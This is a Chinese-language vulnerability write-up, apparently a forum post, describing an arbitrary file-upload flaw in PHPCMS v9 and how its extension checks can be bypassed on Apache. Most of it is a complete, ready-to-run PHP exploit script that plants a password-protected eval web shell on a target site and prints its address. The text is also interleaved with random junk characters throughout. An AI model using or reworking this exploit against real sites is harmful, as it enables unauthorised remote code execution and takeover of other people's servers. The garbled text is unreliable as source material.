漏洞类型: 文件上传导致任意代码执行
% u0 t5 y' R/ d
- H( k2 E. Y- O5 A: d! Q简要描述:9 [ { @+ o( ?
1 T) C' \$ d' r+ R2 T" Gphpcms v9 getshell (apache)
' j8 V( k) ?8 a, t3 S详细说明:1 M. i7 E; M' U0 N7 a9 o2 V
6 }0 X! W$ i; k: C
漏洞文件:phpcms\modules\attachment\attachments.php
r; C/ O+ ~% m9 p6 P5 l; [: G" Y: z* v k7 l4 S
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
0 x1 ]% G; T5 }4 B后缀检测:phpcms\modules\attachment\functions\global.func.php( x# L* B8 V6 _4 c/ }& c
. m$ g9 E9 {& [; ?' h a. J& O
# d3 j9 p1 G, R( R" k
# x: c! B4 D* b% ?6 b* m3 Qfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
2 w$ @5 J5 c- _% m( B
* @5 W; }- o0 m6 [) U( `* h关键函数:
- c6 }1 u1 x8 T) X4 r0 Z* I9 O, u/ e7 P1 L9 X
6 o* w1 q7 ~* p" }
% B/ o0 ?. Z# kfunction fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } % q5 G' e! p. O1 u
) u0 V+ k5 q+ L! ]
Fileext函数是对文件后缀名的提取。& j' E( G3 R4 F9 A
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php" c, v! H* p/ F
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
5 w/ T- O" j$ p! \/ E( P& h我们回到public function crop_upload() 函数中
+ N# v& r+ M3 Gif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
) T( S# p' [4 U- Q& b3 T: Y在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
& `3 i) |, S' h9 j8 D6 e这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。. @! d; _3 D* @% x
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
. g, o) |% }! i$ ]# |& F8 C最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。6 g& A6 o$ E O1 k. m* |
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
4 k- ]5 u% s6 O9 \. M& Z% ~漏洞证明:
' T- G* K! u: G# i! `4 _2 F* o# s# e. ~1 t7 l; h% r
exp:! X9 X# J8 b% ]7 ?" Z, T
9 W8 q* c# I @( p. C6 J<?php6 O9 W2 ?2 p, f# d
error_reporting(E_ERROR);% a$ }/ U& U" C3 b
set_time_limit(0);
7 h8 n/ w* G* E0 H# y& {1 s$pass="ln";
- ~6 {; w3 W) aprint_r('5 c' R- X a2 I
+---------------------------------------------------------------------------++ U2 O3 [$ `1 x
PHPCms V9 GETSHELL 0DAY ' L" _ j: v7 F# o2 Q/ i' ]3 N
code by L.N.4 {% s8 j1 O& H5 E
w) V: J4 _1 b$ _
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
# E2 Q5 P, [: V+---------------------------------------------------------------------------+$ l7 H* e* H/ ?3 y
');$ x. q1 B0 o& q5 F2 _
if ($argc < 2) {
1 v* K6 R2 d# Oprint_r('
7 X5 J" `4 h% i D! S8 a! z* F5 e+---------------------------------------------------------------------------+
# p. M3 K2 f& rUsage: php '.$argv[0].' url path4 w8 K; V* S! N' m; n" ~
( ?' k. k* G1 h5 m: s1 HExample:! @2 w; Q- A9 Q
1.php '.$argv[0].' lanu.sinaapp.com& D: n; D7 J1 E, i+ B
2.php '.$argv[0].' lanu.sinaapp.com /phpcms5 o( y0 @8 U! \* K0 l x% h
+---------------------------------------------------------------------------+
5 s- A. ~# W; S0 o5 p');$ m" ]( B' ^; e0 F- e& \$ R
exit;+ B- n6 h5 K! f4 K8 h% l
}
% x! G1 _5 ]# f$ j
( A& R8 A! b; U( A% @- T# [$url = $argv[1];
) K# f d' e# ?$path = $argv[2];
0 |/ _! ]; u5 T& t7 |8 s* s$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';8 B/ ?+ @2 j% K' o( O, M" b4 D
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
# D2 F- F! a" pif($ret=Create_dir($url,$path))
: {; y) x$ [5 T4 s; W' |{9 w: X& Z# L2 Q) _
//echo $ret;
; S9 K" p2 h1 j" h$pattern = "|Server:[^,]+?|U";
# R& u# t$ }& O8 {+ Fpreg_match_all($pattern, $ret, $matches);% U% k x* {& b) v9 w+ ~
if($matches[0][0])
+ V/ @/ _' z0 ]5 l, V1 e" H{- A2 l x6 k+ q+ W) z
if(strpos($matches[0][0],'Apache') == false)
3 }3 O5 j& d4 z! H; J ~7 B{
& a+ m5 J# ?/ e g- x4 ?5 U6 fecho "\n亲!此网站不是apache的网站。\n";exit;
7 t6 k' R$ h9 i7 w}; H7 A- b0 z5 o- U) [
}! _# N5 g5 u0 D T( d) H
$ret = GetShell($url,$phpshell,$path,$file);5 E: V& b' Y, p5 P
$pattern = "|http:\/\/[^,]+?\.,?|U";2 a$ T, @9 p$ H! H. N
preg_match_all($pattern, $ret, $matches);
) L9 b9 L; b& i5 hif($matches[0][0])
0 l# I+ o# G+ M{
8 |6 j/ h6 q# v; m" }echo "\n".'密码为: '.$pass."\n";( E1 _0 Y3 v2 J5 T
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;+ _, d) F: S- x, C5 T
}" i; f. H" y1 s2 I, x( w
else
* H7 w8 Y1 I3 U/ W5 T0 v{
. e: D/ J7 K7 |- ^* A5 S+ {0 V* i$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
8 U3 F/ E0 f% A8 ~+ k: ]% F; apreg_match_all($pattern, $ret, $matches);
& W9 r6 E2 K. ^1 Sif($matches[0][0])
( H* j* K3 r- ~9 a+ x{8 H) B: Q$ ^; K. m+ m0 `# W
echo "\n".'密码为: '.$pass."\n";! y" j: ^9 S* l2 i+ \! @4 Y
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit; a, d, H% m- r0 [( T3 W
}
' N6 F5 {0 V& m4 b6 n) V% D2 H7 Zelse
' D2 S' \+ \5 Z0 L9 j{
. V7 M2 t$ @8 q. wecho "\r\n没得到!\n";exit;" @- x1 s5 b+ J% m9 t. w2 m
}- Z9 l- Q X3 F. v$ Q) ^
}
' e* N l4 M' H! C}
% l$ `; N4 H+ e
6 g7 |3 x4 k+ yfunction GetShell($url,$shell,$path,$js)( V( N [7 h7 |7 c
{& o) l% W0 ]; ?+ n6 Q o" w/ D
$content =$shell;
, H4 }# ~5 d) O" J) z' l, m6 c* q$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";' @* e0 Q" r% V5 t: X
$data .= "Host: ".$url."\r\n";) ?0 @) }7 o' E1 U e( P
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";8 d$ h0 G* Y3 [4 [! k
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";8 I' Y5 q2 H0 _) h) z1 F! t
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";3 w) H' z, s3 I* y) j
$data .= "Connection: close\r\n";5 c* h$ K/ R' F$ t, z0 \5 q7 o9 e& I
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";7 k- C3 N2 I4 I! C8 q1 H' y
$data .= $content."\r\n";- K8 P3 B- n: P) l
$ock=fsockopen($url,80);
+ @# f- s7 `6 r% h0 Fif (!$ock)$ P+ K5 E" g: U0 m
{3 Y4 _9 V& F1 ~/ V+ y3 w5 ^
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;+ A3 T8 M: {+ u5 g9 V
}
* A* N+ X2 ^' @( ~4 u: {# Q h6 {. V; kelse/ d; M) y" b; b9 ?9 `; u
{! w' q9 {& f1 d* v) y1 V: f
fwrite($ock,$data);
* e/ L( K5 i* H% U# y$resp = '';
, r; j' E7 o: t7 I% F! xwhile (!feof($ock))3 R; A. Z* S' P' u& {
{5 J3 l8 L! Y' S5 p: X E$ z4 `
$resp.=fread($ock, 1024);3 Q5 |; E! ?/ H# d
}, T( t) M0 K$ W* g% L3 h
return $resp;# N7 W, s t# p. C. N* N! j& ~
}
) p0 L" a( _+ K% e. g) C; q}
' {* q6 D- }$ \- y# A, c4 y# l% b4 t1 j- Z3 U, C
function Create_dir($url,$path='')# K0 ]" R: G J
{. ]. a5 m6 @, S2 g
$content ='I love you';/ ~9 t5 g! x! g, y2 ^: E
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
- f: A/ L' M& j4 \* G0 Y$data .= "Host: ".$url."\r\n";
^) \3 h; H4 x, U0 w$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";: c. ]3 `' K9 C0 X8 }+ ]
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";. p# G' Q9 [' ~
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
+ A8 _( e2 E* F" s6 q$data .= "Connection: close\r\n";
1 F; R* g" _( j& f( a( B b3 ~# b4 S$data .= "Content-Length: ".strlen($content)."\r\n\r\n";) J. o2 j5 l. G- T
$data .= $content."\r\n"; d& Y# B# ?* u' `0 q& m
$ock=fsockopen($url,80);
0 B$ f( k+ w" S) C- L0 p2 L/ wif (!$ock)* w$ s% p' a' @: L- H
{
7 Y. F$ L* C( v7 l$ m5 h+ `8 a/ oecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;3 I* b/ d& V, _' o3 R( a1 A
}
' h- t1 w+ D. S9 _- ^6 mfwrite($ock,$data);
" @; {1 t( w. t; C$resp = '';7 E) t! p7 P3 b
while (!feof($ock)), S7 d: n: a4 k6 p% p
{) X8 H/ y$ q& g2 V5 d& v6 [
$resp.=fread($ock, 1024);
; X; y: v$ ^% I2 i0 f1 X5 L}
7 m, g+ h$ R4 C' h8 rreturn $resp;
, W1 f5 O) I% G/ R3 u: ]}- ^9 u0 C; P' q; h5 l
?>
7 c/ ?2 d" P& I9 D
% o" {- O, U4 q$ x4 v) k6 m3 ~# R修复方案:* |" z/ t( D3 L% l
2 n- n t# m7 r: ^
过滤过滤再过滤
: W" G& G z! k s$ I
* [4 q' y4 N' W z9 F- ]2 W |